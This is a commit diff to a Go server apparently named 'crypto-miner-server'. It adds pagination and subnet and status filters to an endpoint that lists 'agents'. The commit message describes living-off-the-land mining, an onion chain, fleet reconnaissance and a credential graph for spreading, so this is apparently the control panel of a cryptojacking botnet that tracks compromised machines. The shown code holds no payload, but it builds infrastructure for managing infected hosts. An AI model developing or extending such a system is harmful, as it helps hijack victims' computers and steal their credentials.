Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -4,6 +4,7 @@ import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -32,8 +33,11 @@ func (h *Handler) GetDashboardStats(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
// GET /api/v1/agents
|
||||
// Optional query params: limit, offset, status (online|offline), subnet (e.g. 10.0.0.x).
|
||||
// When limit is set, response is {"agents":[],"total":N,"limit":L,"offset":O}; otherwise a plain array.
|
||||
func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
|
||||
agents, err := h.db.ListAgents()
|
||||
filter, paginated := parseAgentListFilter(r)
|
||||
agents, err := h.db.ListAgentsFiltered(filter)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
@@ -41,7 +45,56 @@ func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
|
||||
if agents == nil {
|
||||
agents = []*models.Agent{}
|
||||
}
|
||||
writeJSON(w, agents)
|
||||
if !paginated {
|
||||
writeJSON(w, agents)
|
||||
return
|
||||
}
|
||||
total, err := h.db.CountAgentsFiltered(filter)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"agents": agents,
|
||||
"total": total,
|
||||
"limit": filter.Limit,
|
||||
"offset": filter.Offset,
|
||||
})
|
||||
}
|
||||
|
||||
const (
|
||||
agentListDefaultLimit = 100
|
||||
agentListMaxLimit = 2000
|
||||
)
|
||||
|
||||
func parseAgentListFilter(r *http.Request) (db.AgentListFilter, bool) {
|
||||
limitStr := r.URL.Query().Get("limit")
|
||||
if limitStr == "" {
|
||||
return db.AgentListFilter{}, false
|
||||
}
|
||||
limit, err := strconv.Atoi(limitStr)
|
||||
if err != nil || limit <= 0 {
|
||||
limit = agentListDefaultLimit
|
||||
}
|
||||
if limit > agentListMaxLimit {
|
||||
limit = agentListMaxLimit
|
||||
}
|
||||
offset := 0
|
||||
if offStr := r.URL.Query().Get("offset"); offStr != "" {
|
||||
if o, err := strconv.Atoi(offStr); err == nil && o >= 0 {
|
||||
offset = o
|
||||
}
|
||||
}
|
||||
status := strings.TrimSpace(r.URL.Query().Get("status"))
|
||||
if status != "online" && status != "offline" {
|
||||
status = ""
|
||||
}
|
||||
return db.AgentListFilter{
|
||||
Limit: limit,
|
||||
Offset: offset,
|
||||
Status: status,
|
||||
Subnet: strings.TrimSpace(r.URL.Query().Get("subnet")),
|
||||
}, true
|
||||
}
|
||||
|
||||
// GET /api/v1/agents/{id}
|
||||
|
||||
Reference in New Issue
Block a user